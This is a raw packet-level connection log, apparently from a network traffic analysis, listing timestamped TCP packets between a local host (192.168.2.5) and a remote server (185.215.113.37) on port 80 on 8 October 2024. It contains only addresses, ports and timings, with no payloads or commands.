Oct 8, 2024 03:22:09.076478004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076500893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076528072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076545000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076551914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076584101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076598883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076616049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076622009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076648951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076657057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076680899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076694012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076718092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076725006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076761007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076807022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076857090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076859951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076894045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076908112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076936960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076942921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076975107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076989889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.077008963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.077017069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.077040911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.077049971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.077075005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.077086926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.077117920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.115969896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116024017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116080999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116101027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116115093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116139889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116148949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116179943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116183043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116210938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116234064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116233110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116269112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116276979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116302013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116316080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116347075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116353035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116390944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116393089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116434097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116441011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116480112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116489887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116525888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116530895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116555929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116565943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116605043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116637945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116651058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116679907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116686106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116686106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116712093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116722107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116751909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116764069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116808891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116812944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116847992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116857052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116879940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116888046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116914034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116923094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116944075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.116956949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.116993904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117016077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117036104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117039919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117072105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117083073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117105007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117113113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117137909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117151022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117171049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117180109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117202997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117212057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117237091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117244959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117269039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117279053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117304087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117311954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117346048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117357016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117389917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117399931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117422104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117430925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117465973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117474079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117501974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117513895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117535114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117543936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117568016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117577076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117600918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117609978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117635012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117643118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117666960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117677927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117701054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117708921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117748022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117793083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117825031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117839098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117856979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117866039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117886066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117897034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117927074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.117935896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117969036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.117978096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118001938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118010044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118043900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118051052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118079901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118093967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118113041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118119955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118145943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118179083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118177891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118206024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118228912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118236065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118261099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118292093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118295908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118313074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118328094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118336916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118369102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118381023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118407965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118423939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118455887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118469954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118490934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118499041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118532896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118541002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118572950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118582010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118604898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118613958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118638039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118647099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118670940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118680000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118705034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118712902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118736982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118746996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118771076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118779898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118807077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118813992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118846893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.118850946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.118890047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.162302017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.162379980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.162415981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.162420988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.162448883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.162467957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.162467957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.162493944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.162508011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.162543058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.162555933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.162590981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.162607908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.162625074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.162635088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.162659883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.162669897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.162703037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.162712097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.162744999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.162761927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.162776947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.162803888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.162810087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.162822962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.162852049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.162861109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.162894964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.162919044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.162926912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.162935972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.162962914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.162966013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.162997961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.163022041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.163031101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.163044930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.163072109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.163073063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.163083076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.163111925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.163120031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.444694996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.449955940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:10.157977104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:10.158058882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:10.450064898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:10.455708027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:11.161988020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:11.162116051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:12.573196888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:12.578020096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:13.276387930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:13.276496887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:14.663382053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:14.671014071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:14.886001110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:14.886015892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:14.886037111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:14.886051893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:14.886065960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:14.886080027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:14.886094093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:14.886107922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:14.886121988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:14.886136055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:14.886149883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:14.886162996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:14.886177063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:14.886189938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:14.886207104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:14.886207104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:14.886238098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:14.886239052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005031109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005209923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005219936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005233049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005251884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005251884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005259037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005309105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005320072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005323887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005323887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005366087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005377054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005403996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005403996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005403996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005443096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005454063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005486012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005497932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005498886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005498886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005498886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005511045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005557060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005557060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005557060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005647898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005659103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005669117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005717039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005717039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005717039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005769014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005779982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005790949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005801916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005812883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005824089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005835056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.005848885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005848885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.005848885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.007421970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.091903925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.091917992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.092391014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.149450064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149466038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149477005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149487019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149497986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149507999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149519920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149559975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149569988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149580002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149590969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149601936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149612904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149622917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149631977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.149631977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.149631977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.149633884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149645090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149703979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.149703979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.149703979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:15.149888992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149899960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149909973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149919033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149929047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149945021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:15.149955988 CEST	80	49704	185.215.113.37	192.168.2.5
